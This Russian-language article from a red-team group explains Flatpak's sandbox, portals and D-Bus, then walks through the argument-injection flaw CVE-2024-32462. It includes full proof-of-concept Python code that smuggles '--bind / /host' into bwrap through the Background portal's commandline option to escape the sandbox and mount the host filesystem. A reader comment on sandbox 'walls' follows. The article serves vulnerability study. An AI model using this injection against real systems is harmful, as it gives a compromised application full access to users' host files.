Введение
18 апреля 2024 года в системе Flatpak была обнаружена уязвимость открывающая возможность вредоносному или скомпрометированному приложению, упакованному в формате Flatpak, обойти установленный режим изоляции sandbox и получить доступ к файлам в основной системе.
Найденная уязвимость получила идентификатор CVE-2024-32462 и балл CVSS равный 8,4 (высокий).
В данной статье мы не только посмотрим на эту уязвимость, но и подробно разберем основные механизмы безопасности Flatpak, выявив основные векторы атаки на хостовую систему из скомпрометированного контейнера с приложением.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.
Flatpak
Flatpak - это система управления пакетами в Linux, предназначенная для упрощения установки, обновления и запуска приложений. Она основана на контейнеризации, которая позволяет упаковывать приложения со всеми необходимыми зависимостями в изолированные контейнеры.
Каждый контейнер содержит не только само приложение, но и все зависимости, необходимые для его исполнения, что обеспечивает надежную и независимую среду для его работы. Это позволяет пользователям устанавливать и запускать приложения без необходимости беспокоиться о конфликтах зависимостей или изменениях в системе. Кроме того, Flatpak обеспечивает изоляцию приложений от остальной системы, что повышает безопасность и стабильность операционной системы Linux.
Прежде чем перейти к описанию уязвимости, важно разобрать несколько механизмов работы Flatpak.
Песочницы
Одна из основных целей Flatpak - повысить безопасность настольных систем за счет изоляции приложений друг от друга. Это достигается с помощью песочницы и означает, что по умолчанию приложения, запускаемые с Flatpak, имеют чрезвычайно ограниченный доступ к среде хоста. Это включает:
Отсутствие доступа к каким-либо файлам хоста, кроме среды выполнения.
Отсутствие доступа к сети.
Отсутствие доступа к каким-либо узлам устройства (кроме
/dev/null
и т.п.)Отсутствие доступа к процессам вне песочницы.
Ограниченные системные вызовы. Например, приложения не могут использовать нестандартные типы сетевых сокетов или отслеживать другие процессы ptrace.
Ограниченный доступ к экземпляру сеанса D-Bus.
Нет доступа к хост-службам, таким как X11, системный D-Bus или PulseAudio.
Большинству приложений, чтобы быть полезными, потребуется доступ к некоторым из этих ресурсов. Чтобы его получить, разработчик либо явно указывает необходимость доступа к тому или иному ресурсу в конфигурации, либо использует специальные интерфейсы, которые называются порталами.
Важно отметить, что сам Flatpak не реализует песочницы, а использует инструмент bwrap.
Bubble Wrap
Bubble Wrap (bwrap) — это низкоуровневый и непривилегированный инструмент для создания песочниц.
Многие инструменты для запуска контейнеров, такие как systemd-nspawn
, docker
и т. д., ориентированы на предоставление инфраструктуры для системных администраторов и инструментов оркестровки (например, Kubernetes). Их не стоит предоставлять непривилегированным пользователям, поскольку такой доступ легко превратить в полностью привилегированный root shell на хосте.
В ядре Linux существует проект под названием user namespaces, который пытается позволить непривилегированным пользователям использовать возможности контейнеров. Хотя был достигнут значительный прогресс, все еще существуют опасения, и он недоступен для непривилегированных пользователей в некоторых продакшн дистрибутивах, таких как CentOS/Red Hat Enterprise Linux 7, Debian Jessie и т. д.
Посмотрите, например, CVE-2016-3135 - уязвимость позволяющая локальному пользователю повысить привилегии с помощью userns.
Bubblewrap можно рассматривать как реализацию setuid для подмножества пользовательских пространств имен. Акцент на подмножестве - если говорить конкретно о приведенном выше CVE, то bubblewrap не позволяет контролировать iptables.
Однако оригинальный код bubblewrap существовал до появления user namespaces - он наследует код от xdg-app helper, который, в свою очередь, отдаленно происходит от linux-user-chroot.
Разработчики этого инструмента считают, что он не позволяет повысить привилегии, даже если используется в сочетании с обычным программным обеспечением, установленным в дистрибутиве.
В частности, bubblewrap использует PR_SET_NO_NEW_PRIVS
для отключения двоичных файлов setuid, что является традиционным способом избавления от таких вещей, как chroots.
Стоит сказать, что bubblewrap - это не то ПО, которое предоставляет готовую "песочницу" с определенной политикой безопасности. В некоторых вариантах использования bubblewrap требуется граница безопасности между изолированной средой и реальной системой; в других вариантах использования требуется возможность изменять расположение файловой системы для процессов внутри изолированной среды, но не ставится цель создания границы безопасности. В результате уровень защиты между изолированными процессами и хост-системой определяется аргументами, передаваемыми bubblewrap.
Как упоминалось выше, при упаковке приложения во Flatpak в файле конфига(манифеста) указываются различные разрешения, требуемые для работы. Например, если приложению нужен доступ к сети, в списке finish-args:
будет присутствовать аргумент --share=network
. Далее эти аргументы используются в конце сборки и там превращаются в аргументы для bubblewrap. В нашем примере, при запуске приложения, в bwrap будет передан аргумент --share-net
.
Порталы
Порталы представляют собой основу для предоставления доступа к ресурсам за пределами песочницы, включая:
Открытие файлов с помощью диалогового окна выбора файлов
Открытие URI
Печать
Отображение уведомлений
Создание скриншотов
Запрет на завершение, приостановку, простаивание или переключение сеанса пользователя
Получение информации о состоянии сети
Во многих случаях порталы используют системный компонент для неявного запроса разрешения у пользователя перед предоставлением доступа к определенному ресурсу.
Неявные запросы от порталов заключаются в том, что пользователь всегда будет участвовать в удовлетворении или отклонении запроса. Таким образом, большинство портальных API приводят к взаимодействию с пользователем в виде диалогов.
Например, портал выбора файлов открывает нативную программу-селектор файлов в хост-системе. Когда пользователь делает выбор, приложению предоставляется доступ только к выбранному файлу.
Такой подход позволяет приложениям не настраивать пустой доступ к большим объемам данных или сервисов и дает пользователям контроль над тем, к чему имеют доступ их приложения.
Изначально порталы возникли в рамках проекта Flatpak, но сейчас они являются общепринятым стандартом для десктопных Linux и поддерживаются GNOME, KDE и Snapcraft. Они используются даже вне песочниц, чтобы обеспечить стандартизированный API для таких распространенных функций рабочего стола, как скриншоты и запись экрана на wayland.
D-Bus
Порталы в Linux дистрибутивах реализуются за счет D-Bus.
D-Bus, также известная как Desktop Bus, облегчает взаимодействие между приложениями и системными процессами в Linux. Она является центральным узлом для обмена сообщениями и реагирования на системные события. Когда приложение хочет отправить сообщение другому приложению, оно отправляет его dbus-демону, который гарантирует, что сообщение дойдет до адресата.
Flatpak предоставляет контейнерам доступ к этой шине через себя, как прокси. В целях безопасности он фильтрует запросы по D-Bus, но org.freedesktop.portal
почти всегда доступен, если приложение хоть как-то взаимодействует с системой.
Подводя итог, можно построить следующую схему:
Стрелками показаны каналы, по которым у приложения может быть доступ к системе хоста.
Также важно помнить, что все разрешения контролируются пользователем, и даже если в приложении они были заложены, пользователь может их отключать.
Описание уязвимости
Уязвимость является инъекцией аргументов в команду для запуска bwrap контейнера. Проблема заключается в неправильной обработке аргументов командной строки при запуске команд внутри bwrap контейнера из Flatpak.
Например, обычно аргумент --command
программы flatpak run
предполагает передачу команды для запуска в указанном приложении Flatpak, опционально с некоторыми аргументами. Например:
flatpak run --command=ls org.gnome.gedit
В версиях Flatpak, имеющих эту уязвимость, можно передать длинное имя опции в --command=
, например --bind
, и оно будет неверно интерпретировано как опция bwrap. Например, можно сделать так:
flatpak run --command=--bind org.gnome.gedit / /host ls -l /host
Что в итоге запустит:
bwrap ...lots of stuff... --bind / /host ls -l /host
Аргумент --bind
монтирует директорию из хостовой системы в контейнер, принимая в качестве значений путь на хосте и конечный путь в контейнере. В приведённом примере он монтирует коренной каталог хостовой системы в директорию /host
в контейнере.
Далее указывается команда, которая будет выполнена: ls -l /host
В итоге получаем доступ на чтение и запись всей файловой системы хоста и выполнение команды её листинга при старте.
Но данный пример подразумевает запуск команды flatpak
, а следовательно работу со стороны хостовой системы. А нам интересен именно вектор атаки со стороны скомпрометированного контейнера.
Оказывается, что такую же произвольную командную строку можно передать портальному интерфейсу org.freedesktop.portal.Background.RequestBackground
из самого приложения Flatpak. Обычно это безопасно, поскольку можно указать только команду, существующую внутри песочницы. Но когда созданная командная строка преобразуется в значение аргумента --command
, приложение может добиться того же эффекта, что и при передаче аргументов непосредственно bwrap, и, следовательно, выйти из песочницы.
Proof of concept
Подготовка стенда
Ниже предоставлен код рабочего приложения, которое будет установлено у пользователя. В нашем случае это пустое окно с текстом.
Код приложения (main.py):
#!/usr/bin/python3
import gi
gi.require_version("Gtk", "3.0")
from gi.repository import Gtk
import sys
from multiprocessing import Process
class BackgroundApplication(Gtk.Application):
def __init__(self):
super().__init__(
application_id='com.example.BackgroundApplication'
)
def do_activate(self):
pass
def do_startup(self):
Gtk.Application.do_startup(self)
self.__main_window = MainWindow(self)
self.__main_window.show()
class MainWindow(Gtk.ApplicationWindow):
def __init__(self, application):
super().__init__(application=application, title="Test application")
self.__application = application
grid = Gtk.Grid(
margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6
)
grid.show()
self.add(grid)
label = Gtk.Label(label="GIScyberteam")
label.show()
grid.add(label)
if __name__ == '__main__':
app = BackgroundApplication()
app.run(sys.argv)
Так как приложение упаковывается во Flatpack, у него должна быть конфигурация, где указано как его надо собирать и какие у него есть разрешения.
Конфигурация (com.example.BackgroundApplication.yaml):
app-id: com.example.BackgroundApplication
runtime: org.gnome.Platform
runtime-version: '45'
sdk: org.gnome.Sdk
command: main.py
finish-args:
- --share=ipc
- --socket=x11
- --socket=wayland
- --share=network
modules:
- name: background-application
buildsystem: simple
build-commands:
- install -m755 main.py -Dt /app/bin
- install com.example.BackgroundApplication.desktop -Dt /app/share/applications
sources:
- type: file
path: main.py
- type: file
path: com.example.BackgroundApplication.desktop
Обратите внимание на разрешения, указанные в finish-args:
. У данного приложения есть доступ к оконным системам X11 и Wayland, а также доступ в сеть. Самое важное, что у него нет доступа к файловой системе хоста.
Произведем сборку приложения на хостовой системе инструментом flatpak-builder
.
flatpak-builder build com.example.BackgroundApplication.yaml --install --user --force-clean
А также произведем запуск приложения из командной строки.
flatpak run com.example.BackgroundApplication
Эксплуатация уязвимости
Давайте представим ситуацию, мы попали во внутрь контейнера, в котором работает данное приложение.
В качестве примера эксплуатации уязвимости получим доступ ко всей файловой системе хоста.
Инъекцию будем проводить в команду для автоматического запуска приложения при старте системы.
Добавить приложение в автоматический запуск при старте можно использовав метод RequestBackground
портала org.freedesktop.portal.Background
, который мы упоминали в описании уязвимости.
Мы внедрим данный функционал напрямую в код приложения, хотя достичь подобного результата можно разными способами.
Итоговый код получается следующий:
#!/usr/bin/python3
import gi
gi.require_version("Gtk", "3.0")
from gi.repository import GLib
from gi.repository import Gio
from gi.repository import Gtk
from random import randint
import sys
from multiprocessing import Process
class BackgroundApplication(Gtk.Application):
def __init__(self):
super().__init__(
application_id='com.example.BackgroundApplication'
)
self.__request_on_startup = False
def do_activate(self):
pass
def do_startup(self):
Gtk.Application.do_startup(self)
self.__main_window = MainWindow(self)
self.__main_window.show()
def request_background(self):
proxy = Gio.DBusProxy.new_for_bus_sync(
Gio.BusType.SESSION,
0,
None,
'org.freedesktop.portal.Desktop',
'/org/freedesktop/portal/desktop',
'org.freedesktop.portal.Background',
None
)
token = 0 + randint(10000000, 90000000)
options = {
'handle_token': GLib.Variant('s', f'com/example/BackgroundApplication/{token}'),
'reason': GLib.Variant('s', 'Autostart'),
'autostart': GLib.Variant('b', True),
'background': GLib.Variant('b', False),
'commandline': GLib.Variant('as', ["--bind", "/", "/host", "main.py"]),
'dbus-activatable': GLib.Variant('b', False),
}
proxy.RequestBackground('(sa{sv})', '', options)
class MainWindow(Gtk.ApplicationWindow):
def __init__(self, application):
super().__init__(application=application, title="Test application")
self.__application = application
grid = Gtk.Grid(
margin_start=20, margin_end=20, margin_top=10, margin_bottom=10, row_spacing=6
)
grid.show()
self.add(grid)
label = Gtk.Label(label="GIScyberteam")
label.show()
grid.add(label)
self.__application.request_background()
if __name__ == '__main__':
app = BackgroundApplication()
app.run(sys.argv)
Основные изменения — это добавление функции отправки запроса порталу и её вызов после отрисовки окна.
Запрос порталу def request_background(self)
в основном состоит из указания имен портала и вызываемого метода, а также из опций, передаваемых методу.
Рассмотрим самые важные для нас опции:
autostart
- принимает булево значение, указывает надо ли приложению запускаться при старте.background
- принимает булево значение, указывает запускается ли приложение в фоне.commandline
- принимает массив из строк, первое значение которого — команда для запуска(аналогично аргументу--command
уflatpak run
), а последующие — аргументы приложения.
В нашем случае, для совершения инъекции, опция commandline
заполняется следующим массивом:
["--bind", "/", "/host", "main.py"]
Чтобы в итоге эти строки передались как аргумент bwrap в виде:
bwrap ...lots of stuff... --bind / /host main.py
Как это выглядит со стороны хоста:
-
В директории
~/.config/autostart/
появляется специальный файл запуска приложения -
В содержимом данного файла наблюдаем команду запуска в параметре
Exec=
.
Интересный факт заключается в том, что несмотря на наличие в названии портального метода слова
Request
и вопреки цели, с которой разработчики используют порталы, в итоге у пользователя никто не спрашивает разрешения, приложение просто добавляется в автозапуск.
Следующим этапом мы ждем перезапуска хостовой системы. После её перезапуска и повторного получения доступа в контейнер мы можем наблюдать, что в корневом каталоге контейнера присутствует новая директория /host
в которую смонтирована файловая система хоста.
Вывод
В заключении хочется сказать, что быстрое развитие десктопных дистрибутивов Linux, включая принятие технологий изоляции большинства приложений в контейнерах, ставит перед сообществом ИБ новые вызовы в области безопасности. Обнаружение уязвимостей, таких как те, которые были выявлены в пакетном менеджере Flatpak, является важным шагом для обеспечения безопасности пользователей и защиты их данных. Нам важно уделять большое внимание изучению и анализу подобных решений, особенно в ситуации, когда в РФ корпоративные десктопы переходят с операционных систем Windows на отечественные дистрибутивы Linux.
Подписывайтесь на наш Telegram-канал
xenon
Мне кажется, flatpak (как и докер, как и СУБД вроде MySQL - чтоб поняли, что я не только про контейнеры) - это такие штуки, которые создают (не знаю термина лучше, изобрету сам) - надежные "стены". И надежность тут в том, что вся прочность реализуется небольшим и универсальным кодом.
В мире есть огромное количество дырявейших веб-приложений написанных студентами в спешке. Допустим, в приложении есть SQL Injection. Да, через эту дырку смогут испортить-слить базу (или даже несколько, к которым есть доступ у этого юзера). Но при этом "стена" mysql не допустит, чтобы это дырявейшее приложение смогло добраться до другой базы, к которой у этого юзера нет доступа.
Другой пример - есть огромное количество дырявого софта, но никакой баг в программе запущенной от юзера не может дать доступ к данным другого юзера или рута.
Мы можем что угодно дырявое крутить внутри докера или LXC контейнера - и это не вылезет из песочницы.
Да, на самом деле, тут есть протечка абстрации. Статья как раз про это, про протечку во Flatpak. И в su/sudo бывали баги. И в mysql наверняка было. И в самом ядре. Но это очень редкие уязвимости в очень небольшом коде, и они все-таки постепенно вылизываются, исправляются (сравните с обычной разработкой, когда постоянно новый код и всегда дедлайны). Именно такие вот "стены" (из малого объема надежного и проверенного кода) позволяют сделать систему с высокой защищенностью.